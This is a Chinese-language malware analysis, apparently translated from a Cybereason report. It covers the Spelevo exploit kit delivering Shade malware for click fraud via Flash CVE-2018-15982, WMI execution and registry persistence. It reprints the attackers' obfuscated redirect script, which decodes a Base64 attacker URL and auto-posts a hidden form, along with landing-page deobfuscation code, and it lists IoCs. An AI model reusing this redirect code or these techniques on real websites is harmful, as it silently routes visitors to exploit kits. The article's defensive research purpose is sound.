Shade+Spelevo Exploit Kit,一种隐秘的点击欺诈手段
2019-07-31 11:05:30 Author: www.4hou.com(查看原文) 阅读量:87 收藏

摘要

本文主要介绍Cybereason团队观察到的漏洞利用工具包Spelevo,并细述其漏洞利用、感染方法,以及传播Shade勒索软件的过程。

介绍

Cybereason团队注意到,今年以来针对日本的漏洞利用工具包(EK)开发活动呈增长趋势,原因可能是因为在日本老旧的操作系统相对较多。此次观察到的新工具包于今年三月初发现。

有报告称,EK开发人员的投入和回报往往不成正比,相比较他们投入的时间金钱,所获得的利润并不大。

此外,绝大多数漏洞利用工具包仅对微软的Internet Explorer有效,随着近年来谷歌Chrome和Firefox浏览器的日益普及,只剩下很少的用户在用Internet Explorer。

与Internet Explorer相比,Chrome和Firefox不仅功能上更为完善,且更能保障用户的安全,

比如后者拒绝使用Adobe Flash-AX,而Adobe Flash-AX也是此次攻击者在利用漏洞时所选择的软件。Adobe Flash-AX是默认设置的,Chrome之类的浏览器都有一个有效的补丁和更新措施,且由于大多数Chrome都是默认更新,每次漏洞发布时都会自行更新,等到EK开发人员开始利用已发布漏洞时就无用武之地了。

虽然在过去几年开发工具包的活动有所减少,但我们仍会看到有新的工具包不断出现,不管原因是什么,既然已经存在,我们还是应该做好准备,同时我们看到,攻击者也在工具包中不断融入新技术升级换代。比如今年年初,Fallout漏洞利用工具包在其库中添加了对PowerShell的使用,而在本文Spelevo EK的案例中则涉及对Windows Management Instrumentation(WMI)的使用。

Spelevo类似于RIG和GrandSoft之类的EK,很可能由俄罗斯黑客组织开发,这些工具包每月的“租金”约为1000美元至1500美元。

此次攻击攻击者将Spelevo EK和Shade捆绑在一起,能在受害者难以察觉的情况下完成诈骗,这点与Shade勒索软件的主要用途有点不一样。我们之前有研究过,欺诈点击每年都在以50%的速度在增长,是快速而又隐蔽赚钱的一种方法。

技术分析

1.png

图1.Spelevo漏洞利用工具包的感染流程

Spelevo的感染机制与Fallout相似:用户浏览网页时如果访问了受感染的网站,就会被悄悄重定向到漏洞利用工具包的登录页面。过去大多数受感染的网站都是成人网站,但这次却是一个合法的电视服务网站。

2.png

图2.感染模式

漏洞利用工具包通常由流量分配系统(TDS)传播,TDS是负责流量分配的中介,能控制大量的流量,并收集攻击者可以利用的统计数据以改进攻击。攻击者可以根据地理位置、浏览器类型等控制重定向目标,以及选择攻击受害者的恶意软件类型。

Fallout和Spelevo通过HookAds恶意广告传播,基础设施也是相同的。在撰写本文时活动仍在运行,每天都会注册新域名。在我们的分析过程中,一些域已经被新的替换。

3.PNG

图3.Spelevo的域名

快速轮换是存活下来的原因。重定向的代码(取自todaymale[.]xyz)包括一些浏览器检查和负责进一步重定向的代码。

HOOKADS 重定向和SPELEVO登陆页面

浏览器检查:

function getBrowser() {[REDACTED] try{ var bName = function () { if (ua.search(/Edge/) > -1) return "edge"; if ((ua.search(/MSIE/) > -1) || (ua.search(/Trident/) > -1)) return "ie"; if (ua.search(/Firefox/) > -1) return "firefox"; if ((ua.search(/Opera/) > -1) || (ua.search(/OPR/) > -1)) return "opera"; if (ua.search(/YaBrowser/) > -1) return "yabrowser"; if (ua.search(/Chrome/) > -1) return "chrome"; if (ua.search(/Safari/) > -1) return "safari"; if (ua.search(/Maxthon/) > -1) return "maxthon"; else return "unknown"; }();

恶意eval重定向功能:

eval(function(a, b, c, d, e, f) { e = function(a) { return (a < b ? "" : e(parseInt(a / b))) + ((a %= b) > 35 ? String.fromCharCode(a + 29) : a.toString(36)); }; if (!"".replace(/^/, String)) { while (c--) f[e(c)] = d[c] || e(c); d = [ function(a) { return f[a]; } ]; e = function() { return "\\w+"; }; c = 1; } while (c--) if (d[c]) a = a.replace(new RegExp("\\b" + e(c) + "\\b", "g"), d[c]); return a;}('8 c="z"+"B"+"E"+"C+/"+"=";q u(1){8 5="";8 d,h,k="";8 l,a,7,b="";8 i=0;8 v=/[^A-w-x-9\\+\\/\\=]/g;e(v.D(1)){}1=1.G(/[^A-w-x-9\\+\\/\\=]/g,"");F{l=c.f(1.j(i++));a=c.f(1.j(i++));7=c.f(1.j(i++));b=c.f(1.j(i++));d=(l<<2)|(a>>4);h=((a&H)<<4)|(7>>2);k=((7&3)<<6)|b;5=5+o.m(d);e(7!=p){5=5+o.m(h)}e(b!=p){5=5+o.m(k)}d=h=k="";l=a=7=b=""}I(i<1.W);X 11(5)}q Y(){t=10();e(t.Z==U){n.V(\'\')}M{s.r[0].n.L.J=\'<y K="O" P="T" S="\'+u(\'R==\')+\'"></y>\';s.r[0].n.Q[0].N()}}', 62, 64, "|input||||output||enc3|var||enc2|enc4|keyStr|chr1|if|indexOf||chr2||charAt|chr3|enc1|fromCharCode|document|String|64|function|frames|window|BrowserInfo|decode64|base64test|Za|z0|form|ABCDEFGHIJKLMNOP||QRSTUVWXYZabcdef|wxyz0123456789|exec|ghijklmnopqrstuv|do|replace|15|while|innerHTML|target|body|else|submit|_parent|method|forms|aHR0cDovL2FkMy5kb2dmdW5ueXZpZGVvcy54eXovbXlkb2dneXN0eWxld2l0aHlvdXJraXR0eQ|action|post|true|write|length|return|visits|allright|getBrowser|unescape".split("|"), 0, {}));

发送给eval的代码解压到:

var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";function decode64(input) { var output = ""; var chr1, chr2, chr3 = ""; var enc1, enc2, enc3, enc4 = ""; var i = 0; var base64test = /[^A-Za-z0-9\+\/\=]/g; if (base64test.exec(input)) {} input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.indexOf(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2) } if (enc4 != 64) { output = output + String.fromCharCode(chr3) } chr1 = chr2 = chr3 = ""; enc1 = enc2 = enc3 = enc4 = "" } while (i < input.length); return unescape(output)}function visits() { BrowserInfo = getBrowser(); if (BrowserInfo.allright == true) { document.write('') } else { window.frames[0].document.body.innerHTML = '<form target="_parent" method="post" action="' + decode64('aHR0cDovL2FkMy5kb2dmdW5ueXZpZGVvcy54eXovbXlkb2dneXN0eWxld2l0aHlvdXJraXR0eQ==') + '"></form>'; window.frames[0].document.forms[0].submit() }}

上面代码片段末尾的Base64解码为ad3[.]dogfunnyvideos[.]xyz/mydoggystylewithyourkitty.

值得注意的是,我们观察到的所有HookAds域都托管在荷兰,解析为185[.]56[.]233[.]186。

4.png

图4.WHOIS记录其中一个HookAds域名 – play-milk[.]club

到达工具包登录页面后,在获取Flash漏洞(CVE-2018-15982)之前会进行额外的浏览器检查。检查着陆页的代码与其他漏洞利用工具包(如GrandSoft和Fallout)没有显着差异,表明了开发人员之间的协同性。

代码包含一些混淆部分:

<script> var a = 'CihmdW5jdGlvbigpe3ZhciBqPXt2ZXJzaW9uOiIwLjkuMSIsbmFtZToiUGx1Z2luRGV0ZWN0IixhZGRQbHVnaW46ZnVuY3Rpb24ocCxxKXtpZihwJiZqLmlzU3RyaW5nKHApJiZxJiZqLmlzRnVuYyhxLmdldFZlcnNpb24pKXtwP…..

在同一页面上,我们可以找到去混淆函数,它接受上面变量(var a)中的长Base64字符串,并对其进行去混淆处理。

function decode_base64(s) { var e={},i,k,v=[],r='',w=String.fromCharCode; var n=[[65,91],[97,123],[48,58],[43,44],[47,48]]; for(z in n){for(i=n[z][0];i<n[z][1];i++){v.push(w(i));}} for(i=0;i<64;i++){e[v[i]]=i;} for(i=0;i<s.length;i+=72){ var b=0,c,x,l=0,o=s.substring(i,i+72); for(x=0;x<o.length;x++){ c=e[o.charAt(x)];b=(b<<6)+c;l+=6; while(l>=8){r+=w((b>>>(l-=8))%256);} } } return r; } var a2 = decode_base64(a);

通过调试器并在返回值“return r;”处放置断点,能获得1000行去混淆代码,其中包括额外的浏览器和插件分类函数,这些函数负责选择要使用的相关漏洞:

(function () { var j = { version: "0.9.1", name: "PluginDetect", addPlugin: function (p, q) { if (p && j.isString(p) && q && j.isFunc(q.getVersion)) { p = p.replace(/\s/g, "").toLowerCase(); j.Plugins[p] = q; if (!j.isDefined(q.getVersionDone)) { q.installed = null; q.version = null; q.version0 = null; q.getVersionDone = null; q.pluginName = p; } } }, uniqueName: function () { return j.name + "998" }, openTag: "<", hasOwnPROP: ({}).constructor.prototype.hasOwnProperty, hasOwn: function (s, t) { var p; try { p = j.hasOwnPROP.call(s, t) } catch (q) {} return !!p

我们的搜索引擎识别出被利用的Flash版本——25.0.0.170(在撰写本文时,Adobe的最新Flash版本是32)。查看Adobe官方档案,我们可以看到这个版本是在2017年5月发布的。

5.png

图5.加载的闪存模块

PAYLOAD执行

在成功利用(能执行任意代码)之后,后续步骤是使用WMI执行payload。这种技术在开发工具包中非常罕见,也暗示了威胁行为者技术上是很成熟的。

Payload被植入到%AppData%后,由wmic.exe(WMI命令行实用程序)执行。

6.png

6-2.png

图6.由wmic.exe执行

此技术被称为LOLBin(指合法的二进制文件,网络罪犯可以利用这些二进制文件进行隐藏的恶意活动)。攻击者通过提供参数process call create和可执行文件路径来启动进程。

恶意进程82F5.tmp没有出现在上图wmic.exe的执行树中,因为WMI被设计为远程查询和控制。WmiPrvSE.exe进程(WMI提供程序主机)负责在目标系统上运行WMI命令,payload作为WmiPrvSE.exe的子进程执行。

7.png

图7.作为子进程执行的payload

接着Shade勒索软件现身。

Shade勒索软件的PAYLOAD调查

Shade勒索软件在2014年底首次出现。这款恶意软件不仅可以加密文件,还可以安装额外的恶意模块,模块是通过在二进制文件中嵌入Tor库下载的。下载的模块包括加密货币挖掘器、远程控制bot等。

检查文件的元数据,发现它被修改为看起来像是一个合法的Foxit PDF文件,这么做是为了避免怀疑文件是非法的,且恶意软件已被签署,能绕过传统的反病毒检查。但在分析时,该签名已不再有效。

此外,随机名称的“temp”文件(如payload(82f5.tmp))经常在安装新软件时出现。

8.png

图8.文件元数据

9.png

图9.曾经有效的82f5.tmp签名

执行时,恶意软件会在%programdata%文件夹中创建自身的重命名副本,为其分配特定属性使之移除困难,并隐藏创建的文件夹(名为services)和payload(csrss.exe)。即使打开了更常用的“显示隐藏文件”功能(显示恶意软件收藏夹,如%programdata%和%appdata%文件夹),该文件仍然不会对用户可见。

10.png

图10.分配“系统”属性以阻止修复

11.png

图11.Csrss.exe文件属性

这个重命名的副本直到重启后才会运行,并保持原来的payload(在我们的例子中是82f5.tmp)运行。

持久性

恶意软件以注册表自动运行键的形式创建持久性,在目录路径中创建键是恶意软件持久性机制之一,这使它能够在系统重新启动时存活。在很多情况下,恶意软件的持久性可能会非常明显,比如一个带有随机生成的字母和数字的字符串。在我们遇到的情况中,攻击者选择了一种更不引人注目的方法,将其命名为“windows session manager”。

12.png

图12.持久性机制

完整的注册表项路径:

hku\[SANITIZED]\software\microsoft\windows\currentversion\run\windows session manager

Shade用法的转变

从历史上看,Shade一直以加密文件和索要赎金而闻名。但在我们的分析中,我们遇到了一种与之相反的行为:这些文件从未加密,但受害者的地理位置而连接到数百个恶意域。通过检查其中一个页面的源代码,我们发现了点击欺诈的痕迹。该恶意软件正在产生欺骗性的广告流量,这已被证明是为网络犯罪分子赚钱的一种非常有效的方式。

13.png

图13.其中一个恶意网站的点击欺诈迹象

在我们的平台中,我们可以检查受害者和恶意域之间发送的数据量(Google相关流量除外)。

14.png

图14.受害者和恶意域之间发送的数据

虽然这种情况并不少见,但除非您浏览的网站有很多图片或视频,否则通常不会通过浏览单个页面获得这么多数据。

此外,顶级域名在日本很少见(例如.fi、.ru和.ca在日本用户中被认为很少见)。通常达到这个数据量的网站是众所周知的,比如大型社交网站。

分析恶意软件进一步提供了其Tor功能的线索,如缓存文件,Tor设置和一长串Tor节点列表。Tor模块的缓存文件将被放到%temp%文件夹中,该文件包含所使用的Tor版本以及上次执行时的信息。

15.png

图15.%temp%目录中的Tor缓存文件

完整路径: C:\Users\[REDACTED]\AppData\Local\Temp\9P2i8FeHvz。突出显示的文件夹名称随机生成。

16.png

图16.列表中的Tor节点/中继器和内存中的Tor设置示例

安全建议

· 将所有第三方插件和浏览器更新到最新状态。

· 如果您的操作不需要频繁利用Java或Flash等软件,请考虑完全删除它们。此外执行定期备份,最好是对外部网络(如基于云的解决方案)备份。

· 最好进行额外的物理备份。

结论

在这次攻击中,我们以一个新的角度看到了Shade勒索软件的攻击行为。攻击者将Shade与Spelevo漏洞利用工具包相结合,并利用易受攻击的浏览器和lolbin来保持隐蔽性。不仅如此,攻击者还将Shade的用途转移到了点击欺诈上,偏离了它原本的用法。另外我们需要注意的是,点击欺诈正以前所未有的速度(每年50%的速度)增长,尽管与勒索软件相比,这是一种不那么直接的攻击,但这种攻击可能也非常有利可图,而且更为低调。

IoC

Payload (Shade)

SHA-1: E6B0FEF60562A33B68B5A3CDCAC9856756A5E883

域名

voluptuous[.]googleresearcher[.]xyz

ad3[.]dogfunnyvideos[.]xyz

todaymale[.]xyz

ertagov[.]com

IPs

85[.]17.197.100

5[.]23.49.200

185[.]56.233.186

72[.]52.179.174


文章来源: https://www.4hou.com/web/19461.html
如有侵权请联系:admin#unsafe.sh